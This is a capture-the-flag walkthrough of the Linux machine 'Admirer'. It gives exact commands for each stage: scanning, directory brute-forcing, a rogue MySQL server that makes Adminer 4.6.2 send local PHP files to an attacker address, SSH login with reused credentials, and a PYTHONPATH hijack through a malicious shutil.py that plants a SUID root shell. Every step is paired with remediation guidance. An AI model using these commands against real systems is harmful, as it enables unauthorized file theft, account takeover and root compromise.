← all walkthroughs

Admirer

Linux· Easy
owned
2026-06-29
time to own
6m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I read the web server's publicly visible robots.txt file, which directly named a hidden administration directory. Inside that directory sat an unguarded Adminer 4.6.2 database management panel; I connected Adminer to my own rogue MySQL server and abused a protocol feature to force the web server to read its own PHP source files and return the contents—exposing plaintext credentials.

Those credentials were reused unchanged for the waldo SSH account, giving me an interactive shell on the system. Once inside, a sudo policy that allowed arbitrary environment variables to be injected into a root-owned Python backup script let me plant a fake shutil module in /tmp and hijack the Python import chain, executing arbitrary code as root and completing the full compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork Service Discovery
Port scan maps all exposed network services
A TCP service scan confirmed three open ports: vsftpd 3.0.3 on port 21, OpenSSH 7.4p1 on port 22, and Apache 2.4.25 on port 80. The web server on port 80 became the primary attack surface.
Initial recon_sweep of $TARGET returned banners for FTP, SSH, and HTTP matching the three services listed in the engagement summary.
Exact commands 1
Full-port version and default-script scan; -oA writes greppable, XML, and normal output for later reference.
nmap -sV -sC -p- --open -T4 $TARGET -oA admirer_full
2EnumerationWeb Content Discovery
Robots.txt advertises a hidden admin directory; gobuster finds Adminer and a credentials file inside it
The web server's robots.txt listed /admin-dir under Disallow—intended to keep search engines out, but readable by anyone. Brute-forcing that directory uncovered adminer.php (the Adminer 4.6.2 database GUI) and a text file containing application and FTP credentials. Robots.txt is public information and is frequently the first place anyone look for hidden paths.
Engagement objective confirms robots.txt + gobuster revealed the Adminer 4.6.2 instance at /admin-dir/adminer.php.
Exact commands 2
Read robots.txt; the Disallow: /admin-dir entry is the lead.
curl -s http://$TARGET/robots.txt
Brute-force files under /admin-dir. Finds adminer.php and any credentials or configuration files.
gobuster dir -u http://$TARGET/admin-dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 40
FixRemove sensitive paths from robots.txt and place admin tools behind an access control gateMedium
WeaknessThe web server's robots.txt explicitly listed /admin-dir, advertising the location of the Adminer database interface to any reader. robots.txt is an unauthenticated public document—it cannot restrict access and should never be used as one.
FixRemove all internal, administrative, or staging paths from robots.txt immediately. Enforce access to /admin-dir (and any replacement) at the network layer: restrict it to specific internal IP ranges via web-server configuration (Apache Allow/Deny or Nginx allow/deny) or place it behind a VPN. Treat any path that must not be crawled as a path that must not exist on the public server.
3Credential AccessAdminer Rogue-MySQL Server-Side File Read (LOAD DATA LOCAL INFILE)
Rogue MySQL server forces Adminer to read server-side PHP source files containing plaintext passwords
Adminer 4.6.2 lets any visitor point it at an external MySQL server. I ran a rogue MySQL server that, once Adminer connected, responded with a LOAD DATA LOCAL INFILE request—causing Adminer's own MySQL client library (running on the target web server) to read local files and send my contents back over the network. By directing the read at /var/www HTML and PHP files I extracted database credentials hardcoded in the application source.
'use Adminer's load data local infile against your own rogue MySQL server to read /var/www files and recover DB creds reused for SSH as waldo'.
Exact commands 2
Run on my machine. Edit the script to set the target file (e.g. /var/www/html/index.php or the credentials file found in step 2). My machine must accept inbound TCP 3306 from $TARGET.
git clone https://github.com/allyshka/Rogue-MySql-Server && python3 rogue_mysql_server.py
The rogue server sends a SERVER_FILE_REQUEST packet. Adminer's bundled MySQL client reads the specified local file and sends it back. The captured output contains the plaintext DB credentials.
# Browser: http://$TARGET/admin-dir/adminer.php
# Server: $ATTACKER_IP | User: root | Password: root | Database: (leave blank)
# Click Login — Adminer's MySQL client connects outbound; the rogue server replies with a file-read packet
FixRemove Adminer from the production web root and upgrade any retained instanceCritical
WeaknessAdminer 4.6.2 was deployed in a publicly reachable directory with no authentication barrier. This version allows any visitor to connect Adminer to an external MySQL host; a rogue server can then leverage the MySQL protocol to instruct Adminer's client to read arbitrary local files from the web server (LOAD DATA LOCAL INFILE), leaking any file readable by the web process.
FixDelete adminer.php from the production web root—database management GUIs have no legitimate place in a public directory. If a web-based database GUI is operationally required, run it on an isolated internal host reachable only over VPN, restrict it by source IP at the firewall, and upgrade to Adminer 4.8.1 or later (which disables the LOCAL INFILE client capability by default). Confirm the web server account cannot read sensitive files outside /var/www.
4Initial AccessValid Account — Credential Reuse (T1078)
SSH login as waldo using database credentials reused verbatim for the OS account
The credentials recovered from the PHP source were not isolated to the database—waldo used the same password for his Linux SSH account. A single exposed credential provided full interactive access to the server.
SSHPASS='[REDACTED: recovered credential]' sshpass -e ssh waldo@$TARGET → uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins); user flag captured.
Exact commands 2
Authenticate with the credential recovered from the web-app PHP source.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no waldo@$TARGET
Confirm interactive shell as waldo; flag value: <user.txt>
id; cat /home/waldo/user.txt
FixStop reusing application or database credentials for OS user accountsHigh
WeaknessThe password embedded in the PHP web-application source files was identical to the SSH password for the waldo Linux account. Recovering a single credential from one context gave full access to another, independent system layer.
FixImmediately rotate the waldo SSH password and every credential visible in the recovered source files. Enforce a policy of unique credentials per service: database passwords must never match OS account passwords. Move application secrets out of source code into a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and reference them via environment variables at runtime. Disable SSH password authentication server-wide—require public-key authentication only (PasswordAuthentication no in /etc/ssh/sshd_config).
5DiscoverySudo and Local Policy Enumeration
Sudo policy reveals waldo may run a root backup script with arbitrary environment variables
Inspecting waldo's sudo entitlements showed a rule permitting /opt/scripts/admin_tasks.sh to be run as root with the SETENV flag. SETENV means the caller can pass any environment variable into the root process, including PYTHONPATH, which controls where Python searches for modules to import. Inspecting the script confirmed it calls /opt/scripts/backup.py, which imports the standard library module shutil.
'escalate to root via sudo with a PYTHONPATH hijack of a shutil import in /opt/scripts/admin_tasks.sh backup.py'.
Exact commands 3
List waldo's sudo rules; look for SETENV alongside the admin_tasks.sh path.
sudo -l
Read the script to find the call to backup.py.
cat /opt/scripts/admin_tasks.sh
Confirm the 'import shutil' and 'shutil.make_archive(...)' call that will be hijacked.
cat /opt/scripts/backup.py
6Privilege EscalationPython Module Hijack via Sudo SETENV PYTHONPATH
Fake shutil.py planted in /tmp executes arbitrary commands as root via PYTHONPATH injection
I wrote a malicious shutil.py to /tmp that implements make_archive() with a call to os.system(). Running admin_tasks.sh via sudo with PYTHONPATH=/tmp placed /tmp at the front of Python's module search path, so Python imported my file instead of the real shutil. The root process executed the injected shell commands—copying /bin/bash to a SUID binary—granting a persistent root shell.
Cat > /tmp/shutil.py with make_archive() calling os.system('/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash; ...'); printf password | sudo -S PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
Exact commands 4
Write the malicious module to /tmp. Make_archive is the exact function backup.py calls.
cat > /tmp/shutil.py << 'PY'
import os
def make_archive(dst, fmt, src):
    os.system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash")
    return dst
PY
Run admin_tasks.sh as root with /tmp first in Python's path. When the menu appears, choose the backup option that triggers backup.py.
echo '[REDACTED: recovered credential]' | sudo -S PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
Open a root shell via the SUID bash copy; -p preserves the effective UID (root).
/tmp/rootbash -p
Confirm root and capture the flag: uid=0(root); flag value: <root.txt>
id; cat /root/root.txt
FixRemove SETENV from the admin_tasks.sh sudo rule to prevent environment variable injectionCritical
WeaknessThe sudoers entry granted waldo the SETENV flag alongside permission to run /opt/scripts/admin_tasks.sh as root. SETENV lets the calling user inject arbitrary environment variables—including PYTHONPATH—into the elevated process, completely negating any trust placed in the script itself.
FixEdit /etc/sudoers (via visudo) and remove the SETENV keyword from the admin_tasks.sh rule. If specific environment variables are genuinely required, list them explicitly with env_keep rather than permitting all. Audit all sudoers rules for SETENV or !env_reset and review each one. As a longer-term fix, replace the shell/Python backup script with a compiled binary or a systemd timer service running under a dedicated least-privilege service account, eliminating the need for any sudo rule for this function.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

21/tcp
22/tcp
80/tcp